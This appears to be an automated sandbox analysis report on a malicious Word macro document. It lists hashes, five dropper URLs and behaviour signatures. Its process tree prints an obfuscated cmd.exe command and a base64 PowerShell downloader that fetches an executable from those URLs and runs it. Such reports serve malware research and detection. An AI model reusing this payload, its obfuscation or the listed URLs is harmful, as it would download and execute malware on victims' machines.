Analysis
-
max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
-
submitted
04-06-2024 02:28
General
-
Target
93634bb30afa7b46818ec9acc0b35930_JaffaCakes118.doc
-
Size
83KB
-
MD5
93634bb30afa7b46818ec9acc0b35930
-
SHA1
87be3a767b0d695d65347451d083368ac91d5770
-
SHA256
982721beff89e6e32a545753491e255ab77d814cb63495a78dad3c0572eb05d4
-
SHA512
38aa6069592eccc5516802edfdc106578d3bd9355318495f6c4b80fcefc089adf6045707398075a1c7af329c147ca52238128f1ac4c5f62e13a5ca0b05efc70a
-
SSDEEP
1536:fptJlmrJpmxlRw99NBd+aBU1dfaJKI+j:xte2dw99fYja0I+j
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://djtosh.co.za/rrp
exe.dropper
http://virginie.exstyle.fr/a
exe.dropper
http://projettv.baudtanette.fr/FZ00c23Z
exe.dropper
http://mujerproductivaradio.jacquelinezorrilla.com/O
exe.dropper
http://esinvestmentinc.ezitsolutions.net/UIf
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\93634bb30afa7b46818ec9acc0b35930_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /V:^o ^ ^ /R" ^s^e^T ^ ^ ^Qud^b=AACAg^AA^IA^ACAg^A^A^I^AACAg^A^AI^AACA^g^AA^I^AACAgA^A^IA^ACAgAQ^fA0^HA7B^Aa^AMGA^0BQ^Y^A^MGA9^B^w^OAs^GAhBQZ^AI^H^AiBw^O^A^I^E^A^w^BgcA^QCAg^AQbA^U^GA0B^Q^S^A0C^AlBw^aA8^GA^2B^g^b^A^kEA7^A^QKAI^E^A^wB^gcA^QCAgAA^LA^4^EA^Z^Bwc^A^QCA^oA^QZ^A^wG^ApB^gR^A^Q^GAh^B^wb^A^wG^Au^BwdA8^G^AEB^g^L^A^gGAkBQW^A^QC^A^7BQeAI^HA0^B^weA^kC^A^k^Bw^U^Ao^HAkA^A^I^A4^GApBA^I^A^4^E^AZBwcA^QCAo^A^AaAMG^AhBQZAIHAvB^gZ^As^D^An^AQZAg^HAl^B^g^L^AcCAr^A^Q^b^AEF^A^D^B^AJ^AsCAn^A^A^XAcC^Ar^AwYAkGAs^Bg^Y^A^U^HAwBg^OA^Y^HAuBQZA^QCA^9A^g^QA^A^H^A^y^B^AJ^AsDAn^A^AOA^QD^A^3^A^w^JA^AC^A9A^A^IA^0GARBwQA^QC^A7A^Q^K^AcCA^A^Bw^J^A^gC^A^0B^Qa^A^w^GA^wBwUA4C^An^A^gZ^A^kEAVBw^LA^Q^H^Al^B^gb^A4CA^zBgbA8^G^Ap^BAdAUH^AsB^w^b^AM^HA^0^B^Q^a^A^oHA^lBgL^AMG^Au^B^QaAQHAuBQ^Z^A0G^A0^BwcA^U^GA^2BgbAkG^Az^B^Q^Z^A8CAv^A^g^OA^A^HA^0^B^Ad^Ag^G^A^A^B^w^T^A^8C^A^t^Bw^bAMGA^uA^QYAwG^A^sB^Q^a^AIHA^yB^w^b^AoHA^l^B^gbA^kG^As^B^QZA^UHA^x^Bw^Y^AE^G^A^qBg^LA8GApB^AZ^A^E^G^Ay^B^QY^A^YHA^p^BA^dAMGA^1^B^A^ZA8GAy^BAcAI^H^AlBg^a^A^UHAtBw^L^A8C^A6^A^Ac^AQ^HA^0B^A^aA^AEA^a^Bw^M^AI^D^A^jB^AMA^A^D^Aa^B^gRA8C^A^yBg^Z^A^4CAl^BAdAQH^AlBgbAE^G^A0BAZA^U^HA^hBgYA4C^A2^BA^d^A^Q^H^A^lB^gaA^8^G^AyBAcA8C^AvA^g^O^AA^HA^0B^A^d^AgG^A^A^B^Q^Y^A^8C^AyBg^Z^A^4C^A^l^B^A^b^Ak^H^A^0B^wcA^g^H^A^l^B^g^L^AU^G^A^pBgb^Ak^GAnB^gc^A^kG^A2^Bw^L^A^8CA6^A^AcA^Q^HA^0^BAa^A^A^EAw^Bgc^AIH^AvAQY^A^oH^Au^AwbA^M^G^Au^A^AaAM^H^AvB^AdA^o^GAk^B^w^LA8CA6AAc^AQHA^0BA^a^AcCA9A^AZAM^FA^6BAJA^s^DA^0B^gbAU^GA^p^B^Ab^AM^E^A^iBQZAcFA^u^A^A^dA^UG^AOB^A^I^A^QHAjB^Q^Z^AoG^A^iB^w^bA^0CA^3^BQ^ZA^4G^A9^AAa^A^QG^A^Z^B^AJ ^e^-^ l^le^hsre^w^op& f^Or /^l %^u ^IN ( ^ ^1^0^53 ^,^ ^ ^-1, ^ ^ 0) d^O ^sE^t ^Y4^Z=!^Y4^Z!!^Qud^b:~%^u, 1!&&^i^f %^u ^l^eQ ^0 C^a^lL %^Y4^Z:^~ -^10^5^4% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e JABZAGQAaAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6AFMAZAA9ACcAaAB0AHQAcAA6AC8ALwBkAGoAdABvAHMAaAAuAGMAbwAuAHoAYQAvAHIAcgBwAEAAaAB0AHQAcAA6AC8ALwB2AGkAcgBnAGkAbgBpAGUALgBlAHgAcwB0AHkAbABlAC4AZgByAC8AYQBAAGgAdAB0AHAAOgAvAC8AcAByAG8AagBlAHQAdAB2AC4AYgBhAHUAZAB0AGEAbgBlAHQAdABlAC4AZgByAC8ARgBaADAAMABjADIAMwBaAEAAaAB0AHQAcAA6AC8ALwBtAHUAagBlAHIAcAByAG8AZAB1AGMAdABpAHYAYQByAGEAZABpAG8ALgBqAGEAYwBxAHUAZQBsAGkAbgBlAHoAbwByAHIAaQBsAGwAYQAuAGMAbwBtAC8ATwBAAGgAdAB0AHAAOgAvAC8AZQBzAGkAbgB2AGUAcwB0AG0AZQBuAHQAaQBuAGMALgBlAHoAaQB0AHMAbwBsAHUAdABpAG8AbgBzAC4AbgBlAHQALwBVAEkAZgAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAQwBRAG0AIAA9ACAAJwA3ADQAOAAnADsAJAByAHAAQgA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABDAFEAbQArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAcwBZAE4AIABpAG4AIAAkAHoAUwBkACkAewB0AHIAeQB7ACQAWQBkAGgALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcwBZAE4ALAAgACQAcgBwAEIAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcgBwAEIAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD567ebac5be113e22d18658389641769bf
SHA1add5c2379a73d5b89479469a3d34769da0e90bb3
SHA256a7f22e1e9130a8fbff118cd7b46ec56c4db81003a7d2f14ca13409a4cb09ec7b
SHA5121ff608146bc2ead93fd0c3872367685c047d9c98e034405c71650ad1475cc13deef8f6a59f2948709bf87a70863b37d4f62be650de22dc25368b6a12b14acbbf
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
44KB